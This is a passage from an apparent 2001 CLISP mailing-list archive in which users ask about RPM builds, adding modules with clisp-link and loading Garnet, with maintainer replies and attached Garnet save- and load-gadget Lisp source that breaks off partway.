/usr/src/redhat/BUILD/clisp-2000-03-06/src/comstart.lsp is finished.
861512 ;
524288
Bye.
+ exit 0
Executing(%install): /bin/sh -e /var/tmp/rpm-tmp.53134
+ umask 022
+ cd /usr/src/redhat/BUILD
+ cd clisp-2000-03-06
+ rm -rf /var/tmp/clisp-2000.03.06-root
+ mkdir /var/tmp/clisp-2000.03.06-root
+ cd src
+ make install_root=/var/tmp/clisp-2000.03.06-root install
./lisp.run -m 750KW -B . -Efile ISO-8859-1 -norc -x "(load \"init.lsp\")
(sys::%saveinitmem) (exit)"
  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo 
  I I I I I I I      8     8   8           8     8     o  8    8
  I  \ `+' /  I      8         8           8     8        8    8
   \  `-+-'  /       8         8           8      ooooo   8oooo
    `-__|__-'        8         8           8           8  8
        |            8     o   8           8     o     8  8
  ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999

;; Loading file defseq.fas ...
;; Loading of file defseq.fas is finished.
;; Loading file backquot.fas ...
;; Loading of file backquot.fas is finished.
;; Loading file defmacro.fas ...
;; Loading of file defmacro.fas is finished.
...



and it keeps going on like that with the same kind of procedures:

...
;; Loading file /usr/src/redhat/BUILD/clisp-2000-03-06/src/config.lsp
...
;; Loading of file /usr/src/redhat/BUILD/clisp-2000-03-06/src/config.lsp
is finished.
T
842532 ;
524288
Bye.
mv lispimag.mem interpreted.mem
./lisp.run -m 1000KW -M interpreted.mem -B . -Efile ISO-8859-1 -norc -q
-c init.lsp
Compiling file /usr/src/redhat/BUILD/clisp-2000-03-06/src/init.lsp ...

Compilation of file /usr/src/redhat/BUILD/clisp-2000-03-06/src/init.lsp
is finished.
0 errors, 0 warnings
./lisp.run -m 1000KW -M interpreted.mem -B . -Efile ISO-8859-1 -norc -q
-c defseq.lsp

Compiling file /usr/src/redhat/BUILD/clisp-2000-03-06/src/defseq.lsp ...

Compilation of file
/usr/src/redhat/BUILD/clisp-2000-03-06/src/defseq.lsp is finished.
...


...
The old definition will be lost

Compilation of file
/usr/src/redhat/BUILD/clisp-2000-03-06/src/macros1.lsp is finished.
0 errors, 0 warnings
./lisp.run -m 1000KW -M interpreted.mem -B . -Efile ISO-8859-1 -norc -q
-c macros2.lsp

Compiling file /usr/src/redhat/BUILD/clisp-2000-03-06/src/macros2.lsp
...
WARNING:
Redefining the COMMON LISP macro DEFLANGUAGE
...


and so on and so on
At the end of it, before I pack the files, I can read:

....
;; Loading file /usr/src/redhat/BUILD/clisp-2000-03-06/src/config.fas
...
;; Loading of file /usr/src/redhat/BUILD/clisp-2000-03-06/src/config.fas
is finished.
T
796288 ;
524288
Bye.
mv lispimag.mem lispinit.mem
if [ ! -d /var/tmp/clisp-2000.03.06-root/usr ] ; then mkdir
/var/tmp/clisp-2000.03.06-root/usr ; fi
...



I suppose that the final rpm does not contain the lispinit.mem and the
lisp.run file it is supposed to contain because during the make install,
things have happened.
Could someone help me to solve this to get installed what I am really
expecting to be installed. I am really sorry but as I said, I lack
experience in the domain. I don't really know what to do now.


I thank you in advance for any answer.


		Daniel

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I saw no error messages in you message.
What is your question?
(Sorry - I didn't get it)
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Hi Sam,

> I saw no error messages in you message.
> What is your question?
> (Sorry - I didn't get it)

My problem is fairly simple. The make + add ons procedure produce
something I can use. After the make install it does not work anymore.
How am I supposed to get things working?

It seems that the make install phase modify the content of lispinit.mem
and lisp.run somehow (This is what I guess, I am not even sure). I just
want to install things, not to get them modified during the process...

So here is my problem and my question is fairly straightforward, how do
I do it?


			Daniel

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> * In message <20010511101539.A17016@cyberell.com>
> * On the subject of "Re: [clisp-list] CLISP on iPaq running Linux?"
> * Sent on Fri, 11 May 2001 10:15:39 +0300
> * Honorable Ola Rinta-Koski <ola@cyberell.com> writes:
>
> > Maybe you could debug why $cpu is not set to "arm"?
> 
>   In makemake, this fails to set it:
> if [ "$host_cpu" = arm -o $TSYS = acorn ] ; then
>   cpu=arm
> fi
> 
>   because $host_cpu is 'armv4l'.

fixed. please do
$ cvs up src/makemake.in
and remake the Makefile.


>   I should note that I'm not actually compiling Clisp on a real iPaq,
>   but rather on the public development machine set up by handhelds.org
>   as skiffcluster[1-4].handhelds.org; they are used to make the
>   handhelds.org iPaq Linux distribution, I believe, so for all intents
>   and purposes they should behave the same.

How can I get access to that machine?
(I don't want to create a project &c - to much hassle)

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Hi Daniel,

> * In message <3AFBF200.D778B366@foi.se>
> * On the subject of "Re: [clisp-list] Clisp, rpm and added modules"
> * Sent on Fri, 11 May 2001 16:06:56 +0200
> * Honorable Daniel Tourde <ted@foi.se> writes:
>
> My problem is fairly simple. The make + add ons procedure produce
> something I can use. After the make install it does not work anymore.
> How am I supposed to get things working?

this is strange.

make creates 2 "clisp linking sets"
(== pair of lisp.run and lispinit.mem)
 - "base" with the basic CL image and
 - "full" with all the modules you specified on the configure command
          line (--with-module=clx/new-clx &c).  

these two liking sets are installed in /usr/local/lib/clisp/base and
/usr/local/lib/clisp/full when you do "make install".
additionally, "make install" creates a driver executable "clisp" and
installs it as /usr/local/bin/clisp.  the driver execs the right image
with the right options.  Essentially it knows the installation defaults
and passes them to lisp.run.

Thus after "./configure --build build" you can call clisp as
$ ./build/lisp.run -B ./build -I ./build/lispinit.mem
and after "make install" you can just use
$ clisp

What does not work for you?

> It seems that the make install phase modify the content of
> lispinit.mem and lisp.run somehow (This is what I guess, I am not even
> sure). I just want to install things, not to get them modified during
> the process...

install does not modify anything.

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This is the official announcement of the availability of version 5.9 of
ILISP, a comprehensive Inferior Lisp replacement for Emacs and XEmacs.

ILISP official home is at

	http://ilisp.cons.org

CVS support is in place at SourceForge
(http://www.sourceforge.net/projects/ilisp).
ILISP 5.11 can be downloaded from there.

Instructions about subscribing to the mailing lists are also at
Sourceforge.

We encourage all the ILISP users to upgrade and to send feedback to
the maintainers.

This new release has been made possible by way too many people to risk
missing any of them in an incomplete list.

Thanks to you all.

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Of course the previous message contained a typo! :)

==============================================================================
This is the official announcement of the availability of version 5.11 of
ILISP, a comprehensive Inferior Lisp replacement for Emacs and XEmacs.

ILISP official home is at

	http://ilisp.cons.org

CVS support is in place at SourceForge
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Thanks to you all.

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Is there anything available for CLISP to make it possible to work with MySQL
or PostgreSQL?  CMUCL has UncommonSQL(MaiSQL), has anyone tried porting this
over?  Thanks.

-Eric




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On Fri, May 11, 2001 at 10:24:25AM -0400, Sam Steingold wrote:
> > * In message <20010511101539.A17016@cyberell.com>
> > * On the subject of "Re: [clisp-list] CLISP on iPaq running Linux?"
> > * Sent on Fri, 11 May 2001 10:15:39 +0300
> > * Honorable Ola Rinta-Koski <ola@cyberell.com> writes:
> >   In makemake, this fails to set it:
> > if [ "$host_cpu" = arm -o $TSYS = acorn ] ; then
> >   cpu=arm
> > fi
> > 
> >   because $host_cpu is 'armv4l'.
 
> fixed. please do
> $ cvs up src/makemake.in
> and remake the Makefile.

  Still fails in the linker, with missing divu_3216_1616_ and mulu32_ 
 
> >   I should note that I'm not actually compiling Clisp on a real iPaq,
> >   but rather on the public development machine set up by handhelds.org
> >   as skiffcluster[1-4].handhelds.org; they are used to make the
 
> How can I get access to that machine?
> (I don't want to create a project &c - to much hassle)

  You don't have to either - see
  http://www.handhelds.org/projects/skiffcluster.html
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On Sun, May 13, 2001 at 10:11:05PM -0700, Eric de Groot wrote:
> Is there anything available for CLISP to make it possible to work with MySQL
> or PostgreSQL?  CMUCL has UncommonSQL(MaiSQL), has anyone tried porting this
> over?  Thanks.

  See http://www.chez.com/emarsden/downloads/ for a PostgreSQL interface
  usable from CLISP.
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Hi San,


> this is strange.
> 
> make creates 2 "clisp linking sets"
> (== pair of lisp.run and lispinit.mem)
>  - "base" with the basic CL image and
>  - "full" with all the modules you specified on the configure command
>           line (--with-module=clx/new-clx &c).


I think this is the point. My retired colleague added his modifications
himself and I am almost convinced that he did not know or did not care
about the possibilities of ./configure and make regarding the
--with-module option

He just typed:
./makemake --with-readline --with-nogettext --with-dynamic-ffi >
Makefile


From the results of make, he added by himself (according to what I put
at the end of this email) the pieces of code he was interested in.
I am just following his notes. I wanted to automatize the procedure and
then to forget about it but it seems to be much more complicate than
what I thought originally. 


 
> these two liking sets are installed in /usr/local/lib/clisp/base and
> /usr/local/lib/clisp/full when you do "make install".
> additionally, "make install" creates a driver executable "clisp" and
> installs it as /usr/local/bin/clisp.  the driver execs the right image
> with the right options.  Essentially it knows the installation defaults
> and passes them to lisp.run.
> 
> Thus after "./configure --build build" you can call clisp as
> $ ./build/lisp.run -B ./build -I ./build/lispinit.mem
> and after "make install" you can just use
> $ clisp
> 
> What does not work for you?
> 
> > It seems that the make install phase modify the content of
> > lispinit.mem and lisp.run somehow (This is what I guess, I am not even
> > sure). I just want to install things, not to get them modified during
> > the process...
> 
> install does not modify anything.

I know, that's the way it is supposed to be, so I don't really
understand. I suppose that the install procedure do not take into
account the following steps I must follow after the make procedure:


21. While still in src:
      clisp-link create-module-set cfun lfun.c
      cc -O -c cfun.c 
      cd cfun 
      ln -s ../cfun.o cfun.o
22. cd cfun
      Add the name cfun.o to the file_list in file ./cfun/link.sh. 
      It should look like this: file_list="$file_list"' lfun.o cfun.o'
23. Make sure f2c is installed and that there is an f2c.h in
/usr/include.
    Verify also that there is a library /usr/lib/libf2c.a
24. cd .. (=> Back to src)
25. Verify that the file clisp-link specifies the following libraries
for
    loading fortran and math functions (usually around lines 88, 262 and
467):
      /usr/lib/libcfun.a -lf2c -lm 
    If not, add them to the compile command
26. While still in src issue the commands
      ar r /usr/lib/libcfun.a cfun.o
      cp link.sh ./cfun
      base/lisp.run -M base/lispinit.mem -c lfun.lsp
      clisp-link add-module-set cfun base base+cfun
      base+cfun/lisp.run -M base+cfun/lispinit.mem -i lfun
    You will end up in Clisp.
27. While still in Clisp, type the Lisp commands, one at a time
      (load "comstart")
      (compile-file "psinit-ffi")
      (compile-file "psinit")
      (compile-file "net")
      (compile-file "smail")
      (bye)
28. Back in Unix, create a new core image (with all user functions
loaded) 
    by typing:
       clbfni (this will get you to Lisp), and while in Lisp:
       (saveinitmem)
       (exit)


This is the procedure I must follow between make and make install and I
wonder if it does not screw up somehow the result of the make install
coz it is not a very orthodox method to add new functionalities...

Maybe you have a better method, a more orthodox one to add
functionalities into the main core of Clisp. Something I am not aware
of, something that would make the make install procedure work for me
(that is to say, produce the right clisp and the right lisp.run and
lipinit.mem).


Thanks in advance for any help.


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Anyone have a libtiff<->clisp binding I can use?



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> * In message <15104.25814.5250.918713@ork.bomberlan.net>
> * On the subject of "[clisp-list] libtiff binding?"
> * Sent on Mon, 14 May 2001 16:05:58 -0700
> * Honorable Dave Morse <svref@yahoo.com> writes:
>
> Anyone have a libtiff<->clisp binding I can use?

we don't, but we would if you wrote one. :-)
this is not too hard - I wrote one for PostgreSQL.
look at the modules directory.

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Hello all,

Thanks to the advice of Sam Steingold and Peter Wood, I now have a =
working nclx on my system.  Unfortunately, I still cannot get Garnet to =
load properly.  The people on the Garnet list have told me that the =
garnet-loader.lisp file requires modification to work with clisp, but =
couldn't tell me exactly what.  Though I have been able to make =
substantial progres (clisp loads about a third of the garnet files now, =
up from zero), I simply don't know enough about clisp, or lisp for that =
matter, to go the distance on this procedure.  Does anyone out there use =
garnet with clisp?  If so, what did you do to install it?  The roadblock =
that I am stuck on is the error:

*** -LISP: MAKE-ENCODING: illegal :OUTPUT-ERROR-ACTION argument 63548

This occurs upon the loading of a particular gadgets file, which I have =
not altered.  If anyone can translate this error message for me, that =
would be quite helpful as well.
    I am loading garnet-prepare-compile.lisp with the command:

clisp -K full -norc -i garnet-prepare-compile.lisp

which works nicely at the start.

Thanks,
Isaac


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what.&nbsp; Though=20
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or lisp=20
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out=20
there use garnet with clisp?&nbsp; If so, what did you do to install =
it?&nbsp;=20
The roadblock that I am stuck on is the error:</FONT></DIV>
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<DIV><FONT face=3DArial size=3D2>*** -LISP: MAKE-ENCODING: illegal=20
:OUTPUT-ERROR-ACTION argument 63548</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>This occurs upon the loading of a =
particular=20
gadgets file, which I have not altered.&nbsp; If anyone can translate =
this error=20
message for me, that would be&nbsp;quite helpful as well.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; I am loading=20
garnet-prepare-compile.lisp with the command:</FONT></DIV>
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<DIV><FONT face=3DArial size=3D2>clisp -K full -norc -i=20
garnet-prepare-compile.lisp<BR></FONT></DIV>
<DIV><FONT face=3DArial size=3D2>which works nicely at the =
start.</FONT></DIV>
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> * In message <003101c0dd4f$7157aca0$a681cb82@ist.psu.edu>
> * On the subject of "[clisp-list] garnet install"
> * Sent on Tue, 15 May 2001 10:58:03 -0400
> * Honorable "isaac councill" <igc2@psu.edu> writes:
>
> The roadblock that I am stuck on is the error:
> 
> *** -LISP: MAKE-ENCODING: illegal :OUTPUT-ERROR-ACTION argument 63548
> 
> This occurs upon the loading of a particular gadgets file, which I
> have not altered.  If anyone can translate this error message for me,
> that would be quite helpful as well.  I am loading
> garnet-prepare-compile.lisp with the command:
> 
> clisp -K full -norc -i garnet-prepare-compile.lisp

do

clisp -K full -norc -x '(load "garnet-prepare-compile.lisp" :print t)'

to find out which form generates the error.  if it's a load form, add
":print t" to it, as above.

when you have the exact form which generates the error, please send it
to clisp-list.

Good luck!

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By commenting out the loading of offending files one at a time, I found that
four files produce the exact same error.  Interestingly, these are
save-gadget.lisp, load-gadget.lisp, motif-save-gadget.lisp, and
motif-load-gadget.lisp.  When none of these files are loaded,
garnet-loader.lisp loads everything else.
    Attached are the 4 problematic files.

Thanks,
Isaac

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> > * In message <003101c0dd4f$7157aca0$a681cb82@ist.psu.edu>
> > * On the subject of "[clisp-list] garnet install"
> > * Sent on Tue, 15 May 2001 10:58:03 -0400
> > * Honorable "isaac councill" <igc2@psu.edu> writes:
> >
> > The roadblock that I am stuck on is the error:
> >
> > *** -LISP: MAKE-ENCODING: illegal :OUTPUT-ERROR-ACTION argument 63548
> >
> > This occurs upon the loading of a particular gadgets file, which I
> > have not altered.  If anyone can translate this error message for me,
> > that would be quite helpful as well.  I am loading
> > garnet-prepare-compile.lisp with the command:
> >
> > clisp -K full -norc -i garnet-prepare-compile.lisp
>
> do
>
> clisp -K full -norc -x '(load "garnet-prepare-compile.lisp" :print t)'
>
> to find out which form generates the error.  if it's a load form, add
> ":print t" to it, as above.
>
> when you have the exact form which generates the error, please send it
> to clisp-list.
>
> Good luck!
>
> --
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;;; -*- Mode: LISP; Syntax: Common-Lisp; Package: GARNETDRAW; Base: 10 =
-*-
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;         The Garnet User Interface Development Environment.      ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; This code was written as part of the Garnet project at          ;;;
;;; Carnegie Mellon University, and has been placed in the public   ;;;
;;; domain.  If you are using this code or any part of Garnet,      ;;;
;;; please contact garnet@cs.cmu.edu to be put on the mailing list. ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;; This file contains the save gadget.  The functions for this gadget
;;; can be found in the save-load-functions.lisp file.
;;;
;;; Designed and Implemented by Rajan Parthasarathy
;;;

;;; Change log:
;;;
;;; 05/05/94  Andrew Mickish - Added Mac directory form ".:"
;;; 01/30/93  Rajan Parthasarathy - s-value'd the :initialize slot
;;; 12/14/92  Andrew Mickish - Added type and parameter declarations
;;; 08/20/92  Andrew Mickish - Moved Save-Load-Gadget-Destroy to
;;;             save-load-functions.lisp
;;; 06/26/92  Rajan Parthasarathy - Created
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

(in-package "GARNET-GADGETS")

(eval-when (eval load compile)
  (export '(SAVE-GADGET)))

(create-instance 'SAVE-GADGET opal:aggregadget
  :declare ((:parameters :parent-window :window-title :window-left =
:window-top
:min-gadget-width :initial-directory :message-string
:query-message :query-buttons :button-panel-items
:button-panel-h-spacing :num-visible :check-filenames-p
:modal-p :dir-input-field-font :dir-input-label-font
:file-input-field-font :file-input-label-font
:message-font :button-panel-font :file-menu-font
:selection-function)
      (:type ((or (is-a-p inter:interactor-window) null) :parent-window)
   ((or null string)  :window-title)
   (integer :window-left :window-top :button-panel-h-spacing)
   ((integer 0) :min-gadget-width :num-visible)
   (string :initial-directory :message-string)
   (list :button-panel-items :query-buttons)
   ((or null function symbol) :selection-function)
   ((or (is-a-p opal:font) (is-a-p opal:font-from-file))
    :dir-input-field-font :dir-input-label-font
    :file-input-field-font :file-input-label-font
    :message-font :button-panel-font :file-menu-font))
     (:maybe-constant :left :top :parent-window :window-title =
:window-left
      :window-top :dir-input-field-font :dir-input-label-font
      :message-font :message-string :num-visible :file-menu-font
      :initial-directory :file-input-field-font
      :file-input-label-font :button-panel-items
      :button-panel-font :button-panel-h-spacing
      :min-gadget-width :modal-p :check-filenames-p
      :query-message :query-buttons))
;;; Customizable slots
  (:LEFT 10)
  (:TOP 24)
  (:PARENT-WINDOW NIL)
 =20
  ;; Slots for window customization
  (:WINDOW-TITLE "Save Window")
  (:WINDOW-LEFT (o-formula (if (gvl :parent-window)
      (floor (- (gvl :parent-window :width)
(gvl :window :width)) 2)
      0)))
  (:WINDOW-TOP  (o-formula (if (gvl :parent-window)
       (floor (- (gvl :parent-window :height)
(gvl :window :height)) 2)
       0)))
  ;; Slots for dir-input customization
  (:DIR-INPUT-FIELD-FONT (opal:get-standard-font NIL NIL :small))
  (:DIR-INPUT-LABEL-FONT (opal:get-standard-font NIL :BOLD NIL))
  =20
  ;; Slots for message customization
  (:MESSAGE-FONT (OPAL:GET-STANDARD-FONT :FIXED :ITALIC :SMALL))
  (:MESSAGE-STRING "Fetching directory...")

  ;; Slots for file-menu customization
  (:NUM-VISIBLE 6)
  (:FILE-MENU-FONT (opal:get-standard-font NIL :BOLD NIL))
  (:INITIAL-DIRECTORY #-apple "./" #+apple ":")
  =20
  ;; Slots for file-input customization
  (:FILE-INPUT-FIELD-FONT (opal:get-standard-font NIL NIL :small))
  (:FILE-INPUT-LABEL-FONT (opal:get-standard-font NIL :BOLD NIL))
  =20
  ;; Slots for button customization
  (:BUTTON-PANEL-ITEMS '("Save" "Cancel"))
  (:BUTTON-PANEL-FONT OPAL:DEFAULT-FONT)
  (:BUTTON-PANEL-H-SPACING 25)
  ;; Other slots

  (:MIN-GADGET-WIDTH 240)
  (:SELECTION-FUNCTION NIL)
  (:MODAL-P NIL)
  (:CHECK-FILENAMES-P T)
  (:QUERY-MESSAGE "Write over existing file?")
  (:QUERY-BUTTONS '("Write" "Abort"))
 =20
;;; Non customizable slots
  (:save-gadget-p T)
  (:destroy #'Save-Load-Gadget-Destroy)
  (:type-of-query gg:query-gadget)
  (:parts `(
   =20
;;; This is the box labeled "Directory"
    (:DIR-INPUT ,GARNET-GADGETS:SCROLLING-LABELED-BOX
      (:LEFT ,(o-formula (gvl :parent :left) 10))
      (:TOP ,(o-formula (gvl :parent :top) 24))
      (:WIDTH ,(o-formula (gvl :parent :min-gadget-width) 240))
      (:MIN-FRAME-WIDTH NIL)
      (:FIELD-FONT ,(o-formula (gvl :parent :dir-input-field-font)))
      (:FIELD-OFFSET 0)
      (:LABEL-OFFSET 5)
      (:LABEL-FONT ,(o-formula (gvl :parent :dir-input-label-font)))
      (:GROW-P T)
      (:LABEL-STRING "Directory:")
      (:VALUE ,(o-formula (directory-namestring
   (truename (gvl :parent :initial-directory)))))
      (:SELECTION-FUNCTION Update-File-Menu))

;;;  This is the scrolling menu with a list of files in it
   =20
    (:FILE-MENU ,GARNET-GADGETS:SCROLLING-MENU
      (:TOGGLE-P NIL)
      (:FINAL-FEEDBACK-P NIL)
      (:MAX-ITEM-WIDTH ,(o-formula (gvl :min-frame-width)))
      (:LEFT ,(o-formula (+ (gvl :parent :left) 22) 32))
      (:TOP ,(o-formula (+ (gvl :parent :dir-input :top)
   (gvl :parent :dir-input :height)
   20)))
      (:INDICATOR-FONT ,(create-instance nil OPAL:FONT
            (:SIZE :SMALL)))
      (:MULTIPLE-P T)
      (:PAGE-INCR 5)
      (:SCR-INCR 1)
      (:SCROLL-SELECTION-FUNCTION NIL)
      (:MENU-SELECTION-FUNCTION file-menu-selection)
      (:H-ALIGN :LEFT)
      (:SCROLL-ON-LEFT-P T)
      (:MIN-FRAME-WIDTH ,(o-formula (- (gvl :parent :min-gadget-width) =
60)))
      (:TEXT-OFFSET 4)
      (:INT-MENU-FEEDBACk-P T)
      (:ITEM-FONT ,(o-formula (gvl :parent :file-menu-font)))
      (:V-SPACING 3)
      (:MIN-SCROLL-BAR-WIDTH 20)
      (:INDICATOR-TEXT-P NIL)
      (:PAGE-TRILL-P NIL)
      (:SCR-TRILL-P T)
      (:NUM-VISIBLE ,(o-formula (gvl :parent :num-visible)))
      (:INT-SCROLL-FEEDBACK-P NIL)
      (:TITLE NIL)
      (:SELECTED-RANKS NIL))

;;; This is the box that says "Filename"
   =20
    (:FILE-INPUT ,GARNET-GADGETS:SCROLLING-LABELED-BOX
      (:LEFT ,(o-formula (gvl :parent :left)))
      (:TOP ,(o-formula (+ (gvl :parent :file-menu :top)
   (gvl :parent :file-menu :height)
   20)))
      (:WIDTH ,(o-formula (gvl :parent :min-gadget-width) 240))
      (:CONSTANT (:KNOWN-AS :COMPONENTS :FIELD-TEXT :FRAME :LABEL-TEXT))
      (:MIN-FRAME-WIDTH NIL)
      (:FIELD-FONT ,(o-formula (gvl :parent :file-input-field-font)))
      (:FIELD-OFFSET 0)
      (:LABEL-OFFSET 5)
      (:LABEL-FONT ,(o-formula (gvl :parent :file-input-label-font)))
      (:GROW-P T)
      (:SELECTION-FUNCTION Check-Filename)
      (:LABEL-STRING "Filename:")
      (:VALUE ""))

;;; This is the little message that appears everytime a directory is =
being
;;; fetched    =20
  =20
    (:MESSAGE ,OPAL:TEXT
      (:LEFT ,(o-formula (+ (gvl :parent :left) 20) 30))
      (:TOP ,(o-formula (+ (gvl :parent :top) 20) 44))
      (:FONT ,(o-formula (gvl :parent :message-font))))

;;; These are the two buttons for save and cancel
   =20
    (:OK-CANCEL-BUTTONS ,GARNET-GADGETS:TEXT-BUTTON-PANEL
      (:CONSTANT (:KNOWN-AS :COMPONENTS :TEXT-BUTTON-PRESS =
:FINAL-FEEDBACK :TEXT-BUTTON-LIST))
     (:left ,(o-formula (floor (- (gvl :parent :min-gadget-width)
  (gvl :width)) 2)))
     (:top ,(o-formula
     (let ((comps (gvl :parent :components))
   (me (gvl :parent :ok-cancel-buttons))
   (maxbot 0))
       (dolist (ob comps)
(when (and (not (equal ob me))
    (> (opal:bottom ob)
       maxbot))
   (setf maxbot (opal:bottom ob))))
       (+ maxbot 25))))
    =20
     (:SELECTION-FUNCTION DEFAULT-SAVE-FUNCTION)
     (:FONT ,(o-formula (gvl :parent :button-panel-font)))
     (:H-ALIGN :CENTER)
     (:PIXEL-MARGIN NIL)
     (:RANK-MARGIN NIL)
     (:FIXED-HEIGHT-P T)
     (:FIXED-WIDTH-P T)
     (:INDENT 0)
     (:V-SPACING 5)
     (:H-SPACING ,(o-formula (gvl :parent :button-panel-h-spacing)))
     (:DIRECTION :HORIZONTAL)
     (:SHADOW-OFFSET 5)
     (:TEXT-OFFSET 2)
     (:FINAL-FEEDBACK-P NIL)
     (:GRAY-WIDTH 3)
     (:ITEMS ,(o-formula (gvl :parent :button-panel-items)))))))

(s-value save-gadget  :initialize #'Save-Load-Gadget-Initialize)

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;;; -*- Mode: LISP; Syntax: Common-Lisp; Package: GARNETDRAW; Base: 10 =
-*-
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;         The Garnet User Interface Development Environment.      ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; This code was written as part of the Garnet project at          ;;;
;;; Carnegie Mellon University, and has been placed in the public   ;;;
;;; domain.  If you are using this code or any part of Garnet,      ;;;
;;; please contact garnet@cs.cmu.edu to be put on the mailing list. ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;; This file contains the load gadget.  The functions for this gadget
;;; can be found in the save-load-functions.lisp file.
;;;
;;; Designed and Implemented by Rajan Parthasarathy
;;;

;;; Change log:
;;;
;;; 03/25/93  Andrew Mickish - Removed extra quote from =
Default-Load-Function
;;; 01/30/93  Rajan Parthasarathy - s-value'd the :initialize slot
;;; 12/14/92  Andrew Mickish - Added type and parameter declarations
;;; 06/26/92  Rajan Parthasarathy - Created
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

(in-package "GARNET-GADGETS")

(eval-when (eval load compile)
  (export '(LOAD-GADGET)))

(create-instance 'LOAD-GADGET opal:aggregadget
  :declare ((:parameters :parent-window :window-title :window-left =
:window-top
:min-gadget-width :initial-directory :message-string
:button-panel-items :button-panel-h-spacing
:num-visible :check-filenames-p :modal-p
:dir-input-field-font :dir-input-label-font
:file-input-field-font :file-input-label-font
:message-font :button-panel-font :file-menu-font
:selection-function)
    (:type ((or (is-a-p inter:interactor-window) null) :parent-window)
   ((or null string) :window-title)
   (integer :window-left :window-top :button-panel-h-spacing)
   ((integer 0) :min-gadget-width :num-visible)
   (string :initial-directory :message-string)
   (list :button-panel-items)
   (kr-boolean :check-filenames-p :modal-p)
   ((or null function symbol) :selection-function)
   ((or (is-a-p opal:font) (is-a-p opal:font-from-file))
    :dir-input-field-font :dir-input-label-font
    :file-input-field-font :file-input-label-font
    :message-font :button-panel-font :file-menu-font))
   (:maybe-constant :left :top :parent-window :window-title :window-left
     :window-top :dir-input-field-font :dir-input-label-font
     :message-font :message-string :num-visible :file-menu-font
     :initial-directory :file-input-field-font
     :file-input-label-font :button-panel-items
     :button-panel-font :button-panel-h-spacing
     :min-gadget-width :modal-p :check-filenames-p))
;;; Customizable slots
  (:LEFT 10)
  (:TOP 24)
  (:PARENT-WINDOW NIL)
 =20
  ;; Slots for window customization
  (:WINDOW-TITLE "Load Window")
  (:WINDOW-TOP (o-formula (if (gvl :parent-window)
       (floor (- (gvl :parent-window :height)
(gvl :window :height)) 2)
       0)))
  (:WINDOW-LEFT (o-formula (if (gvl :parent-window)
      (floor (- (gvl :parent-window :width)
(gvl :window :width)) 2)
      0)))

  ;; Slots for dir-input customization
  (:DIR-INPUT-FIELD-FONT (opal:get-standard-font NIL NIL :small))
  (:DIR-INPUT-LABEL-FONT (opal:get-standard-font NIL :BOLD NIL))
  =20
  ;; Slots for message customization
  (:MESSAGE-FONT (OPAL:GET-STANDARD-FONT :FIXED :ITALIC :SMALL))
  (:MESSAGE-STRING "Fetching directory...")

  ;; Slots for file-menu customization
  (:NUM-VISIBLE 6)
  (:FILE-MENU-FONT (opal:get-standard-font NIL :BOLD NIL))
  (:INITIAL-DIRECTORY #-apple "./" #+apple ":")
  =20
  ;; Slots for file-input customization
  (:FILE-INPUT-FIELD-FONT (opal:get-standard-font NIL NIL :small))
  (:FILE-INPUT-LABEL-FONT (opal:get-standard-font NIL :BOLD NIL))
  =20
  ;; Slots for button customization
  (:BUTTON-PANEL-ITEMS '("Load" "Cancel"))
  (:BUTTON-PANEL-FONT OPAL:DEFAULT-FONT)
  (:BUTTON-PANEL-H-SPACING 25)

  ;; Other slots
  (:MIN-GADGET-WIDTH 240)
  (:MODAL-P NIL)
  (:SELECTION-FUNCTION NIL)
  (:CHECK-FILENAMES-P T)
 =20
;;; Non customizable slots
  (:destroy #'Save-Load-Gadget-Destroy)
  (:parts `(

;;; This is the box labeled "Directory"
    (:DIR-INPUT ,GARNET-GADGETS:SCROLLING-LABELED-BOX
      (:LEFT ,(o-formula (gvl :parent :left) 10))
      (:TOP ,(o-formula (gvl :parent :top) 24))
      (:WIDTH ,(o-formula (gvl :parent :min-gadget-width) 240))
      (:MIN-FRAME-WIDTH NIL)
      (:FIELD-FONT ,(o-formula (gvl :parent :dir-input-field-font)))
      (:FIELD-OFFSET 0)
      (:LABEL-OFFSET 5)
      (:LABEL-FONT ,(o-formula (gvl :parent :dir-input-label-font)))
      (:GROW-P T)
      (:LABEL-STRING "Directory:")
      (:VALUE ,(o-formula (directory-namestring
   (truename (gvl :parent :initial-directory)))))
      (:SELECTION-FUNCTION Update-File-Menu))

;;;  This is the scrolling menu with a list of files in it
   =20
    (:FILE-MENU ,GARNET-GADGETS:SCROLLING-MENU
      (:TOGGLE-P NIL)
      (:FINAL-FEEDBACK-P NIL)
      (:MAX-ITEM-WIDTH ,(o-formula (gvl :min-frame-width)))
      (:LEFT ,(o-formula (+ (gvl :parent :left) 22) 32))
      (:TOP ,(o-formula (+ (gvl :parent :dir-input :top)
   (gvl :parent :dir-input :height)
   20)))
      (:INDICATOR-FONT ,(create-instance nil OPAL:FONT
            (:SIZE :SMALL)))
      (:MULTIPLE-P T)
      (:PAGE-INCR 5)
      (:SCR-INCR 1)
      (:SCROLL-SELECTION-FUNCTION NIL)
      (:MENU-SELECTION-FUNCTION file-menu-selection)
